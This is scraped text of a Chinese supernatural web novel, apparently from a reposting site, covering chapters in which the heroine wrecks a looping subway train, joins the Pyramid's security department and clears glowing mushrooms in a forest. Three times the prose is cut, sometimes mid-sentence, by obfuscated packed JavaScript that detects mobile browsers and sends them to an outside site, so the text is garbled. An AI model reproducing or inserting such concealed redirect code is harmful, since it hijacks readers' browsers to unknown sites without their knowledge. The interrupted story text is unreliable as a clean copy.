l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271270|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到地铁站台的时候，乐晴喘着气，仍然心有余悸。 在她打算转身离开的时候，她看见电梯那头亮起无数只红色的眼睛，它们像饿极的鬣狗一样盯着乐晴，神不知鬼不觉靠近。 乐晴有些后怕地回头看楼梯，确认楼梯那头没有红色的眼睛之后，这才放下心来。 或许，离开的方法只有地铁。 铁轨的震颤爬上脊椎，轰隆声中，地铁门迅速打开，乐晴踏上地铁的瞬间，仿佛有一道无形的屏障隔开了地铁外的喧嚣，就好像……地铁内是一个世界，地铁外是一个世界，两个世界相通却不相容。 “迦密山到了，本次列车开往亚拉腊山方向，下一站，锡安山……” “亲爱的，你再等我一下。我今天下班本来就晚了点，刚才车上还有个人突然发病，耽误了地铁运行……你放心，我们分手一周年的纪念日我肯定会陪你一起过啊。” 乐晴惊恐地抬头，看见了上一趟地铁里，和手机里的男友聊天的女孩。 她又出现在这趟地铁上，并且重复着之前的行为。 乐晴低头盯着自己的脚尖，试图从逻辑上为这些不合理的事情寻找一个合理的借口。 可她向来不擅长通过逻辑思考，直觉也在这个诡异的空间里失灵。 她观察过地铁站内的倒计时，两辆地铁之间的间隔时间是十分钟，她从离开站台到返回站台只花了八分钟。 迦密山站到锡安山站需要一分钟，锡安山站停留时间一分钟，女孩如果在锡安山站下车，有足够的时间返回迦密山站，可是女孩是从上一站黑门山站过来的。 黑门山站到迦密山站需要十一分钟。 她来不及。 所以，这个世界陷入了循环。 至少对乐晴来说，她周边的一切事物都陷入了循环。 除非打破循环，否则，她会一直被困在这里。 打破循环的方法是什么，到达终点站吗？ 就目前的情况来看，一切都在倒退。 过分手一周年纪念日的情侣，深入地底的地铁站出口，把活人当作污染源清除掉，把死人的尸体当作清洁剂……一切都朝着相反的方向在走。 地铁广播播报的终点站是亚拉腊山，可实际上，亚拉腊山或许才是起点。 这趟地铁永远不会开向真正的终点。 乐晴深吸一口气，看着车厢里神态各异的乘客。 到底要怎样才能打破这场倒退的循环？ 拿到第一个月工资的时候，乐晴给自己买过一只莫比乌斯环式样的银手镯，店员推销的时候，不忘解释莫比乌斯环的寓意。 莫比乌斯环无始无终、循环往复，可以是前进，可以是倒退，没有起点，没有终点，永恒循环。 用莫比乌斯环解释爱情，那就是无尽的爱。用它形容痛苦，那就是无尽的痛苦。 从时间维度上看，永恒反复没有起始和终结。没有人能从时间中逃逸出去，那就只有从空间维度想办法。 乐晴所认知的世界是三维的，但与此同时，一维和二维同样存在，更高维度存在的可能性也不是没有。如果将莫比乌斯环嵌入更高维度，比如四维空间、五维空间、甚至六维空间，莫比乌斯环的单面结构有可能被“展开”，进而打破永恒的循环。 显然，乐晴无法从时间中逃逸出去，也不能从三维世界中突破。 所以，打破无尽循环的方法就是，切断这根莫比乌斯环。 8. 指挥部 “锡安山到了，本次列车开往亚拉腊山方向，下一站……” 管你下一站是哪里，这辆地铁，她毁定了。 乐晴奔向地铁末尾。 意料之中，地铁的驾驶室在地铁末尾，两名驾驶员此刻正坐在里面，等待着发车时间的到来。 乐晴从随身空间里取出贺以辛给她的双管枪。 地铁启动了。 地铁运行中途她不会遇到工作人员。杀了驾驶员，这辆地铁会失去唯二专业的工作人员。 接下来，她有的是机会摧毁这整辆地铁，比如在半路按下急停按钮，然后射断受电弓，或是毁了地铁轨道和接触网。 地铁在锡安山站只停留一分钟，如果有下一辆地铁的话…… 乐晴将双管枪上膛，对准驾驶室里的人。 子弹穿破玻璃，射进驾驶员的身体，他们的身体在子弹进入的瞬间炸开，像绽放的烟花一样碎成无数片金光闪闪的焰火，一时间，不见天日的隧道里亮如白昼。 还没等开始动手摧毁地铁，已经有异常出现了。 “锡安山到了，本次列车开往亚拉腊山方向，下一站……” 电子播报声突然扭曲成无数复眼摩擦的嗡鸣，隧道墙壁渗出血红色的粘液。乐晴视网膜上烙着那行蠕动的站点标识，每个字母都在增生肉芽。 操控台的按钮变成脊椎，生长出金属菌丝穿透驾驶室，爬向隧道两端，驾驶员炸开的焰火一眨一眨，像是微缩的瞳孔。 列车开始急速后退，乘客的眼睛燃烧成血红色，齐刷刷盯着乐晴，他们的眼珠碎成红色的粉末，火焰从眼睛扩散到全身，从他们的七窍里窜出，刚才还活生生的人眨眼间便成了飘散的粉末，像碎裂的命珠一样飘在空中。 很快，车厢内空无一人，而是充斥着红色的粉末。 顶灯劈里啪啦炸裂的声音和呜呜的鸣笛声一同响起，列车在急速倒退中即将撞上下一辆正常运行的列车。 一道光透过驾驶室的玻璃打过来，从车尾到车头，数不清的红色粉末在一束灯光的照亮下缓慢浮动着，他们像扑火的飞蛾，正朝乐晴游荡过来。 透过那束光，乐晴看见了下一辆列车的车号。 【M-Ω23】 和她所乘坐的这辆列车的车号是一样的。 【M-Ω23】 没有上一辆开走的列车，也没有下一辆即将到来的列车，自始至终，都只有这一辆车号为M-Ω23的列车。 列车的神经已经伸进混凝土，而地铁已化作衔尾蛇，开始拉扯自己的机械内脏。 轰—— 两辆列车相撞，火光沿着列车的神经朝两边的隧道冲出，隧道的顶部也被炸开，余波将混凝土块掀开，扔进附近的商场和居民区。 乐晴被重重砸在地上。 她好像被摔碎了，骨头、血肉，全部被摔成了碎片，薄薄的皮肤充当裹尸袋，包裹着她。 晶莹的雪花在空中纷纷扬扬，烈日当空，她的皮肤只觉得滚烫。 好像是飘雪的夏天。 红色的粉末不再追逐光，而是像寻找沃土的孢子，争相落在她的身上，和融化的雪花一样消失不见。 - 再次醒来，乐晴发现自己正躺在冰面上，四周一片死寂。 什么情况？乐晴惊坐起来。 她没死。 非但没有死，连伤口都没有。 没有列车，没有舔舐她的火焰，只有浓密的黑云和漆黑的树林，还有坚硬的冰面。 现在，乐晴只有一个念头：赶紧离开这个暗湖，如果可以的话，离开这个世界。 相比于在这个世界的精神错乱，从前的颠沛流离已经不算什么了。 乐晴再次尝试召唤系统：“统子哥？” “我在。” 系统没有再受到干扰。 “你正常了？” “是的。” “快告诉我，刚才发生了什么？” “受到干扰期间发生的事情我无从得知。” “……”好嘛，还是个摆设。 乐晴定了定神：“那你告诉我，贺以辛人呢？” 系统稍微停顿了两秒，缓缓回答：“金字塔。” 所以，贺以辛把她带到这个莫名其妙的地方，在她被扯进一个诡异的世界之后，自己回金字塔了？ 乐晴只觉得脑袋冒火。 一声不吭把她扔在这里，莫名其妙被扯进又一个诡异的空间，她现在连自己是死是活都不敢确定，而他，竟然在金字塔里？贺以辛又是敷衍她又是隐瞒她，简直无恶不作。 双管枪可以对准他吗？ - 金字塔内，所有人都脚步匆匆。 “贺队，你的伤……我立刻让医疗部的人过来！” “不用。”贺以辛从对方手中扯出几节纱布，随意往手臂上裹了几圈，清洁机器人的眼睛里射出紫色的光线扫过，贺以辛留下的血迹被清除。 一楼人来人往，偶尔有人注意到贺以辛，但都在李茉子警告的眼神中迅速移开眼。 “丁凡呢？”贺以辛把袖子顺下来盖好手臂，看了一眼浅蓝色显示屏上的时间。 距离乐晴进入那个空间已经过去整整六个小时了。 李茉子收好纱布：“丁凡去暗湖接人了，还没有消息。” 贺以辛皱了皱眉。 五个小时前，贺以辛和丁凡在会议室讨论下一步的事宜，安全部的人传来消息：贫民区出现异象——几千只飞鸟坠毁在沙漠，其中的诡异之处在于，这些飞鸟坠地之后化作命珠，镶嵌在了风滚草的刺尖上。 数不清的风滚草卡着燃烧着的命珠，从沙漠滚到草地，点燃了沿途所有可燃的物体，包括人。 安全部的人足够应对这场灾难，但问题是，先知又去自杀了。 先知把自己折叠在一只风滚草内，像被困在跑轮里的仓鼠，可怜，但又有些滑稽。 先知不会死，可安全部的人会死，他们对一心寻死的先知无可奈何，只能召唤贺以辛。 贺以辛在解救先知的时候，被塞了满嘴风滚草的先知咬了一口。 与此同时，丁凡代替贺以辛去暗湖接人。 但是五个小时过去了，丁凡非但没有接到乐晴，人也联系不上了。 贺以辛把摊成肉饼的先知往李茉子脚边一扔：“先知你先看着，他嘴里还有风滚草。有必要往医疗部送，我去看看怎么回事。” “贺队——”李茉子拦不住，只好提着先知的衣领往楼上走。 李茉子止不住地摇头。 好好的先知，怎么就疯了呢，还疯得这么彻底。 李茉子忍不住回头看，贺以辛的人影早就不见了，只有天际留下一道凝结尾迹。 - “你是安全部的人？”乐晴看着这个清瘦的男人，怎么也不相信他是安全部的人。 “统子哥，介绍一下这个人。” “丁凡，男，三十五岁，出生于三月一日，金字塔安全部档案室工作人员，掌握安全部所有档案以及与其他各部门的沟通协调事宜……” 如果系统没有骗她，那丁凡的确是金字塔的人，是贺以辛派来接她回去的。 丁凡已经通过工作证件、随身空间等一切他能拿出来的物件证明自己的身份，可她怎么就是不相信呢？ 乐晴只知道，一切都是可以伪造的，甚至站在她面前的可能就不是人，包括这个系统的声音，也可能是她的幻觉。 这个现象怎么解释来着？对，精神污染。 谁告诉过她精神污染的事情？系统还是贺以辛？乐晴已经开始错乱了。 恍惚中，她甚至觉得下一秒这个丁凡就会变成怪物，然后被不知道哪里来的火焰烧成粉末。 变成粉末的怪物？乐晴忽然想起来在列车里变成红色粉末的人。 乐晴打开面板。 个，十，百，千……哦，没有千。 乐晴数了一下，一共多出来三百颗碎裂的命珠，根据十比一的兑换比例，就是三十颗命珠，也就是六块砖头，三百万！ 乐晴眼前一亮。 三百万！ 进去一趟能挣三百万，如果进去六十七次，她就能还清那莫名其妙欠的两个亿了！ 比起野猪、野兔什么的，还是杀人更赚钱啊。 杀人？乐晴晃了晃脑袋，停止这个可怕的想法。 不过所有人死后都会化成命珠吗？还是说只有那些怪物死后才会化成命珠？ “你想什么呢，到底跟不跟我回金字塔？”丁凡实在受不了被乐晴无视，忍不住开口打断她的胡思乱想。 乐晴抬头看向他，丁凡不禁起了一身鸡皮疙瘩。 那种感觉，怎么说呢？先知念叨着救世主即将降临的时候，他在先知的眼中看见过这种眼神，极度狂热的，带着莫名的兴奋，但理性压抑着这种兴奋。 俗称，人性尚未彻底泯灭的变态。 当然，他也在贺以辛的眼中窥见过一点。但碍于贺以辛的威严，他不敢多看，只当没看见。 犯法的事情不可取，还是先弄清楚规则再说。 乐晴扯出一个自以为和善的微笑：“还是不必了，回金字塔的路我认识，我自己走就行。” “……”丁凡摆摆手，“那你走吧，我跟着。” 他的任务是接乐晴回金字塔，贺以辛又没说怎么接，人带回去应该就算任务完成了。 某种意义上，这对乐晴来说也是一种锻炼。 也不知道贺以辛那边怎么样了。 - 贺以辛隔很远就看见了树林里一前一后保持匀速移动的两个点，走在前面的是乐晴，走在后面的是丁凡。 乐晴看见贺以辛的时候，仍然觉得有些不真实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271271|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “贺队？” 贺以辛点头：“意识还清晰吗？” 乐晴点头，然后又摇头。 她好像真的没有办法确切地判断站在她面前的究竟是人还是怪物。 她的逻辑思维能力一般，多数情况下靠认知惯性和直觉。可现在，认知惯性和直觉都失灵了。 疼痛能恢复san值吗？ 乐晴往贺以辛胳膊上掐了一下：“疼吗？” 贺以辛难得露出这种表情，沉默了一会儿，然后点头：“疼。” 虽然掐那一下是有点报复他把她一个人扔下的意思，但也没必要沉默这么久吧？乐晴更怀疑了。 “贺队，换你掐我。” “……”贺以辛看向后面的丁凡，“联系指挥部，她的精神值应该清零了，抹除存在吧。” “是——啊？”丁凡反应过来，直愣愣地看着贺以辛。 乐晴哪里像是精神值清零的样子，贺以辛什么时候会开这种玩笑了？ “哎！”乐晴赶紧追上去，“贺队，我没疯，我现在很清醒！” - 跟在贺以辛身后，走在金字塔的地面上，乐晴总算有了实感。 她现在暂时安全了。 被贺以辛带着径直往前走，乐晴还是忍不住问：“贺队，我们现在去哪儿？” “指挥部。” 电梯直升上顶楼。 电梯门打开，映入眼帘的是三个入口。 三条通道由镜子隔离开来，错综复杂，乐晴只看到无数个自己，还有无数个贺以辛。 “贺队，我们走哪条？” 这个世界的精神污染已经很严重了，为什么你们自己还要折磨自己，搞出来这种镜子迷宫？ 贺以辛没回答，朝着正中间的镜子走过去。 “贺队！” 他并没有撞上镜子，而是镜子让出了一条通路。 乐晴看着泛着水波纹，恭敬移到两边的镜子，目瞪口呆。 贺以辛回头让她跟上：“跟我走，镜子可不会给你随意走动的权限。” “……哦。” 为了避免被困在镜子迷宫里，乐晴迅速跟在贺以辛身后。 一边往里走，乐晴不忘问：“贺队，我为什么要去指挥部？” “汇报你的情况。” “每一个入职的员工都需要吗？今天的事情是对我的考核？我的考核结果是什么？” “问题太多。”贺以辛在前面转了一个弯，穿过镜子，进入一条白色的看不见边界的通道，“每一个入职的员工需要做的第一件事就是进行考核，考核通过正式入职，考核不通过的下场是被抹除存在，你的考核结果是B3。” “B3是什么水平？” “刚好合格的水平。” “哦。” “不过……”贺以辛在踏出白色通道之前回头，“你的表现很不错。” “真的吗？贺队，你能看见我在那个空间的行动？” 连系统都被屏蔽掉了，贺以辛可以看见她？ “不能。不过，能完好无损从那个空间出来的人不多。” 意思就是，贺以辛没有提供任何保护措施，如果她不幸死在里面，就真死了，他也不会提供任何人道主义赔偿？ 乐晴直接把他和无良黑心资本家划在了同一个区域。 乐晴跟着贺以辛离开通道。 就当是对她的夸奖了。 - 指挥部并不是像乐晴想象中的那样庄重、严肃，没有排排列的办公室，没有严肃的领导，连办公桌都没有。 全白的房间正中央，两个人席地而坐，中间是散落的扑克牌。 “对三。” “要不起。” “对三都要不起？我们才是队友，你别是帮着地主啊。对六。” 乐晴揉了揉眼睛，确定自己看到的只有两个人。 地主是谁？是那个穿红色裙子的女人。 另一个人的队友是谁？乐晴只看到扣在地上的一手牌和拿在手里的一手牌。她没有队友，或者说，她同时在扮演自己的队友。 是梦吧……乐晴总不能还神志不清吧？还是说，指挥部的这两个人也疯了？ “炸！”李茉子甩出最后四张牌，在迎接胜利的同时，也看见了贺以辛和乐晴。 “新人，新人！”姚芸方站起来，戳着李茉子的后背。 “我还没瞎。”李茉子严肃起来，“贺队。” 这里是指挥部？ 乐晴忍不住上下打量这两个人，又认真观察指挥部，试图从混乱中找出一点秩序。 姚芸方不好意思地解释：“我们虽然是指挥部的人，但分管不同的部门，办公地点都在楼下，所以这里就空旷了一点。” 空旷？空旷到指挥部在一个空白的空间内，除了中间叽叽喳喳的两个人，还有挂在墙上的一幅画。 9. 星座 “乐晴，隶属安全部，初步等级划分为B3……”李茉子听完汇报，问，“你是哪天出生的？” “十一月二十日。” “天蝎座啊……” 天蝎座怎么了吗？他们还对天蝎座的人有偏见？ 乐晴有一个很重要，但不相干的问题。 连一个星期七天都做不到统一，这里的星座也是和那边一样计算吗？ “这里，一年也是三百六十五天吗？” “不是。” “啊？”果然不一样。 “闰年多一天。” “……”当她没问。 “好了，你先回去休息吧，接下来的安排交给贺队了。” “是。” 所以，她这算是正式加入了？ - 乐晴一直觉得，管理层，或者说指挥部的人，都是高高在上的，至少也是像贺以辛这样冷面无情。 她怎么也没想到，第一次见到指挥部的其他人，他们是在玩扑克牌。 看见了他们的小秘密，不会被灭口吧？乐晴下意识捂住自己的脖子。 贺以辛注意到乐晴的动作。 “怎么，脖子受伤了？” 乐晴摇头。 是怕脑袋分家。 “贺队，他们为什么要问我的星座？” “看到挂在指挥部的那幅画了吗？” 乐晴点头。 那是一幅色调灰暗的画，由最中间的一个金色的圆环和白色的背景组成，很简单。 简单，但乐晴总感觉在哪儿见过类似的画。 “那个金色的轮环上，是十二星座。” “嗯？” “意思就是，指挥部本来由十二个人组成，但是因为一些意外，现在指挥部只有六个人，我们正在挑选合适的人进入指挥部。” “根据星座？” 贺以辛点头。 太草率了吧？乐晴觉得这件事的荒谬程度和炸地铁的不相上下。 要么靠实力，要么靠关系，哪里有晋升靠星座的啊？ “所以，你们还差天蝎座？” 贺以辛肯定地点头：“如果你表现优异，有进入指挥部的机会。” 呐，老板不管在哪个世界里，都喜欢画饼。 乐晴只当他在放屁。 晋升为管理层这种事情她就不指望了，先把那个莫名其妙的两个亿的欠债给还了，然后—— 如果还算喜欢这份工作，就继续干下去，如果不喜欢，那就给自己攒点钱供下半辈子吃喝玩乐。 总之，老板的承诺信不得。 “老板、不是，贺队，我明天什么安排？” “休息，熟悉一下自己的生活环境，下周一再安排工作。” 乐晴忽然发现，自从来到这里，她就没关心过今天是哪一天，星期几。 “贺队，今天周几？” “周五。” “那不是明天就要上班？” “大后天。” “你不是说，一周只有五天？” 贺以辛意味深长地看了一眼乐晴：“骗你的。” “……” 乐晴发誓，她这辈子最恨欺骗她的人。 暗湖那件事算是正式进入安全部的考核，贺以辛作为考官不能透题，碍于他是帮助她还清两个亿的老板，她忍了。 但是一周五天这种谎言也说得出来？ 她现在只想弄死贺以辛。 可惜实力不够，只能忍气吞声。 - 躺在宿舍的沙发上，盯着纯白的天花板，不真实感才扑面席卷而来。 从出现在这个世界，到发现这个世界的异常，再到被贺以辛捡回金字塔、通过所谓的考验，成为安全部的正式员工，不过是两天里发生的事情。 她还是莫名觉得，这是一场梦。 或许再等等，等她醒了，就还是那个天不亮就要跟着师傅一起去杀猪的杀猪佬。 没有欠款两个亿，没有到处跑的怪物，没有贺以辛他们，没有金字塔。 这只是一场很长、很长的梦…… “笃笃——” “……” 乐晴才刚刚闭上眼睛，房门就被敲响了。 乐晴强撑着从沙发上爬起来。 贺以辛倒是体贴，所有的生活用品都准备了新的，担心她没钱，衣服也让人帮她买了好几套。 他的唯一疏漏之处在于，今天这栋楼停水。 乐晴只能先在沙发上将就一下，等水恢复了再收拾一下自己。 门口站着的是姚芸方。 姚芸方露出恰到好处的和善的微笑：“乐晴，还没来得及熟悉这边吧？贺队像个人机，不懂这些，让我来带你熟悉一下。” “好啊。” 正如姚芸方所说，除了她认为是“狩猎”的规则，乐晴对这里其他的事情几乎一无所知。 金字塔是规矩森严的地方，维护着整个世界的运转。 贫民区是被污染的地方，是法外之地。 还剩下和平区。 她远远看过一眼，和平区和她生活的世界差别不大，大家都在秩序的规范下生活，经营着农业、工业、商业……以维持着世界的运转。 “乐晴，你以前是做什么的？” 坏了，她没想过会被问到这个问题，毕竟贺以辛没有追问她的过去，她也就没提前准备回答。 贫民区应该没有杀猪佬这个职业吧？ “我以前……”乐晴绞尽脑汁，最终选了一个很难让人相信的回答，“其实，在遇到贺队之前，我是捡垃圾的。” “啊？”姚芸方看着乐晴，满脸不可置信。 可乐晴留在更衣室的衣服实在太过破旧，再加上贺以辛告诉过她，乐晴身无分文，生活用品也是她帮忙置办的，她不得不相信。 乐晴有些心虚地笑了笑：“其实吧，说出来挺不好意思的。因为一直在贫民区游荡，生活全靠别人接济，对时间的感知也不敏感……” 她想找个理由给自己安一个“神经病”“傻子”之类的人设，这样能规避掉很多不必要的麻烦。 至少“捡垃圾的”这个身份传开了，他们应该就不会再追问她在这个世界实际并不存在的过去了。 “其实也没什么，大家的出身都不怎么样。”姚芸方倒没觉得这个出身有什么不好，“像我，我是贺队从野猪林里捡回来的，陈西，就是先知，我们指挥部的另一位很重要的人物，她是贺队从地里刨出来的，黎楷期，也是你们安全部的人，是贺队从先知嘴里救下来的。” “啊？” 野猪林里捡回来，地里刨出来，嘴里救下来，怎么一个比一个离谱，这么一看，她捡垃圾的过去反倒因为过于正常而显得不正常了。 “等等。”乐晴先问了一个最离谱的，“黎楷期从先知嘴里救下来，是什么意思？” 姚芸方看了一圈宿舍四周寂静的走道，凑到乐晴耳边小声说：“我告诉你，你可别往外说啊。” 乐晴点头，保证自己会守口如瓶。 “咳咳。”姚芸方清了清嗓子，“这还得从先知说起。先知嘛，上知天文下知地理，能看见过去，能预测未来，是个神人。但是俗话说得好，知道的越多、越容易变成疯子。一开始，先知还是正常的，后来随着这个世界发生的事情越来越多，先知能预测未来却无法挽回灾难，慢慢地，精神就不正常了，清醒的时间一天比一天少。” “——有一天，清醒的先知看见野猪林会发生一场火灾，就提前去救人，但是没用啊，救得了这群人，遭殃的就是另外一群人。十几个孩子，在野猪林里被烧成火球，他们被困在火焰里朝先知喊‘救命’，可先知只能眼睁睁看着他们被烧死，火灭了，先知也疯了。” “——先知疯了之后，找不到回金字塔的路，就在野猪林里游荡，正好遇见了第一次去找迷雾之镜的黎楷期。那个时候，先知精神错乱，分不清人和怪物，眼里看到的和实际物体大小都不一样，他能把地鼠认成军舰，能把头发丝当成章鱼。或许在他的眼里，黎楷期就 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姚芸方摇头：“先知出现的时间太早了，疯得也太早了，我也只是听说过一些，至于为什么出现在土里……或许是沉睡吧，也或许是因为那场浩劫。找先知问不出个究竟，找贺队打听也打听不出来几句。” 乐晴忽然在想，其他人是不是也是被拉进这个世界的，所以才有那么荒诞的过去。 可仔细一想，来自其他世界的人，可能因为太过于正常，以至于完全无法编出这么离谱的故事。 “对了。”姚芸方忽然想起来来的任务，从背包里掏出来一把小手枪，“这是贺队让我带给你的。他说，周一早上六点，他来接你去执行任务。” 这么快？ 乐晴接过小手枪。 通体银色的小手枪，握柄上有小兔子轮廓的雕饰。 “我知道了，谢谢芸方姐。” 她问过贺以辛，如果见了其他人怎么称呼。 贺以辛沉默很久，最后说，挂在他的名下，怎么叫都可以”。 乐晴只当他是老板当习惯了了，但她作为一个小喽啰，还是不能得罪人，不然，死都不知道是怎么死的。 “叫我芸方就行，其他人也可以直接叫名字，除了贺队。” “噢，好。” 没等乐晴问，姚芸方已经给出了原因：“贺队对我们来说，和‘神’是差不多的存在，大家敬重他，不敢直呼他的名字，但我们大家都很随和的，不用管那么多等级关系。” 敬重……根据姚芸方的解释，贺以辛经历过一次浩劫，一次指挥部的换届，就连先知也是他找回来的，他的年纪应该很大了，可为什么看上去和她差不了几岁，难道贺以辛会什么永葆青春的秘诀？ - 贺以辛能不能永葆青春她不知道，但他不用休息应该是真的。因为—— 周五的时候，姚芸方告诉她，贺以辛周末的行程如下： 周六上午汇总各部门近一周的工作，重点关注医疗部的情况。 周六下午带队巡视和平区污染严重的区域，清扫污染源。 周日带队巡视贫民区，清扫污染源。 在如此严密的工作安排下，贺以辛在周一的早上六点准时出现在乐晴宿舍的楼下，甚至提前了十分钟。 “贺队，我们去哪儿？” “野猪林。” 野猪林，一个听上去满地都是野猪的地方。 姚芸方说，贺以辛就是在那里把她捡了回去，后来她一步一步进入指挥部，同时管理着行政部、财政部等多个部门。 “我们去打野猪吗？” 这不像是出任务，更像是出任务途中顺手干的事情。 “差不多。”贺以辛的视线落在她的腰间，“手枪带了？” “带了。” “带了就行，待会儿用得上。” 用得上？难道贺以辛打算让她用手枪打野猪？那双管枪算什么，摆设？ 10. 野猪林 这是一片很茂密的树林，厚重的伞盖几乎覆盖住了整片树林，从入口处往里看，只能看到一望无际的黑。 进去的通道狭窄，只能容纳一个人通过。 乐晴和贺以辛各自拿着手电和武器，一前一后。 “贺队。”乐晴回头，“要不我们换个位置吧。” “为什么？” “走前面我有点害怕。” 当然不是因为走在前面害怕，而是……她怕贺以辛再一次神不知鬼不觉不见了。走在后面，她至少能看着贺以辛。 贺以辛跟乐晴换了位置，走在前面。 夏天，不见天日的路上却落满了枯叶，踩上去脆脆的，有一种开心果壳被踩碎的感觉。 “贺队，我们要去哪里砍野猪？” 走了很久，乐晴也没看见野猪，就连野猪生活过的痕迹都没有。 “今天不砍野猪。” “那我们做什么？” 贺以辛带着她走过一个拐角，手电的光瞬间被掩盖。 前面，是数不清的蘑菇，它们长在地面上、长在树枝上，甚至长在树叶上，散发出五彩斑斓的光。 菌褶间隙渗出类似黏液的光泽，蘑菇像水母一样从菌褶中探出密密麻麻的触手，触手颤动着伸向伞盖，触手尖端长出细密的牙齿，啃噬着伞盖，发出“咔嚓咔嚓”咀嚼的声音和吮吸汁液的声音。 腐殖质深处传来密集的胞衣破裂声——数以万计的孢子囊在同步分娩。新生菌株的伞盖睁开复眼状斑纹，破土而出，百足虫一样的脚踩踏在枯叶上，发出清脆的声音，它们沿着树干往上攀爬，落在树干上、枝叶上，取代那些衰老、凋零的蘑菇。 “贺队——”乐晴想，他们是不是应该穿点防护装备什么的，类似于地铁里工作人员穿的防护服，至少也应该戴个口罩。 她看见散落在空气中的孢子正在朝她靠近。 或许，孢子会释放什么毒素，导致意识被污染。 或许，孢子内存在某种物质，能解构人的基因。 “是生命承载体。” “什么？” “生命承载体，换句话说，是人，是生物，是星球，是星系，是任何承载生命的承载体。”贺以辛看着越飘越近的闪光的孢子，“你看到的，可以是一株蘑菇的凋零，可以是一个人的死亡，也可以是一个星球的灭亡。” “贺队，我没懂。” 不是一株蘑菇的死亡，一株蘑菇的新生吗，最多就是蘑菇能到处跑诡异了一点，为什么能引申到人的死亡和星球的灭亡？ “这些是星球。假如你是神，流动的宇宙在你眼中不过是静止的，宇宙的诞生和灭亡都在你眼前一字排开，你可以控制一切。现在，你能看到的，正是流动着的宇宙。每一株蘑菇的体内，栖息着无数生命，他们都在随着这个星球的灭亡而死去。” 乐晴偏头看贺以辛。 他是不是疯了？ 姚芸方说，先知就是在这里疯得不成样子。 是不是孢子落在他的身上了？ “贺队，要不我们先离开吧。” 贺以辛现在这个样子，乐晴真怕他把她也当成食物往嘴里塞。 贺以辛顿了一下，向前跨出一步。 “贺队！”乐晴拽住他的衣角，“就这么进去吗？” 贺以辛回头看她：“放心，孢子会加重精神污染，但在这种只有精神污染的地方，孢子反而不会对我们造成影响。” 可能类似于……浓度饱和？野猪林这种地方的精神污染已经饱和了，孢子可以在这里生存，但随着旧蘑菇的凋零，新蘑菇会新生，存活下来的孢子或许会转移到新蘑菇上面，和即将新生的孢子展开争夺，赢了，它就取代了即将新生的孢子的存在。 孢子的数量在一个区间内变化，它们带来的精神污染也控制在一个区间范围内，但不管怎么说，这个范围趋近饱和。 所以，这里的精神污染趋近饱和，反而是稳定的，尽管这里异象丛生，但对人的精神不会产生太大影响。 她不理解这背后的逻辑。但就她在地铁里看见的情形，孢子的确会特意避开她，现在孢子也没有对她产生任何影响。 可贺以辛毕竟只是这个世界里的人，不是神，无法窥见这个世界背后运转的规律。 “统子哥，这孢子究竟是什么？” 系统的声音响起：“如贺以辛所说，蘑菇是生命承载体，孢子是生命体。举例来说，树枝上熄灭的蘑菇意味着一颗星球的灭亡，蘑菇游离出来的孢子是逃逸的生命体。有的生命体来不及逃离，和承载体一起死去，有的生命体在逃逸的过程中死去，还有的生命体找到了新的承载体，延续下去。” 能召唤出系统，说明这里还是一个正常的空间，而不是她通过什么考核是被强行拉进去的空间。 乐晴眼前，一颗闪光的孢子跳动着经过，落在她的鼻尖上，意识到自己找到的并不是生命体后，孢子迅速离开差点让它熄灭的地方，重新跃动着寻找新的承载体。 一株从地底钻出来的蘑菇，是它找到的新的承载体。 它落在伞盖上，慢慢滑到伞盖下，爬了进去。 蘑菇是生命承载体，孢子是生命体。生命体会在承载体灭亡后寻找新的承载体，以确保自身生命的延续。 就好像人类会在自己的星球灭亡前，寻找一个新的适合生存的星球，将有价值的人移民过去，以确保人类文明的延续。 即使这对那些被认为无价值的人不公平，但他们似乎都愿意为了种族的延续而牺牲自己，或许也有一部分是在竞争的过程中被迫“牺牲”自己。 乐晴跟在贺以辛身后，看着身边飘动着的无数像萤火虫一样闪着光的孢子，梦幻又诡异。 像圣诞夜足以照亮整个城市的彩灯，在这里，他们也不需要任何照明系统。 “像这样。”贺以辛拿着一把小刀，沿着已经凋零的蘑菇底部割下，一株又一株。 “为什么要这么做？” 按理说，凋零的蘑菇会腐烂，变成腐殖质，为这里的生命体和生命承载体提供养分。 这是生物界循环的规则。 就像那些愿意牺牲或被愿意牺牲的无价值的人，他们的牺牲换来了其他人的新生。 但蘑菇和人不一样，这里的蘑菇和普通的蘑菇也不一样。 这里的蘑菇凋零之后，并不会成为提供供给的养分。 “凋零的蘑菇已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271273|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去了延续的意义，并且，会和正在生长的蘑菇争夺养分。一个区域的养分是有限的，不管哪些蘑菇争抢到了养分，那些没有得到足够养分又没有完全凋零的蘑菇就会想办法离开这里。” 贺以辛的话没有说完，乐晴已经知道会发生什么了。 那些没有得到足够养分的蘑菇会离开这里，进入贫民区或是和平区。 如果它们带着活着的孢子进入外界，会对外界产生严重的精神污染，导致混乱。 “所以，我们现在的任务是采蘑菇？” 继杀猪佬之后，她又成了采蘑菇的小姑娘。 “是。” “可为什么不让其他人过来？” 在这里，每一秒钟都有蘑菇在破土而出，每一秒钟都有蘑菇在凋零。单靠他们两个人，得采到什么时候？ 贺以辛割下又一株蘑菇，忽然停下来。 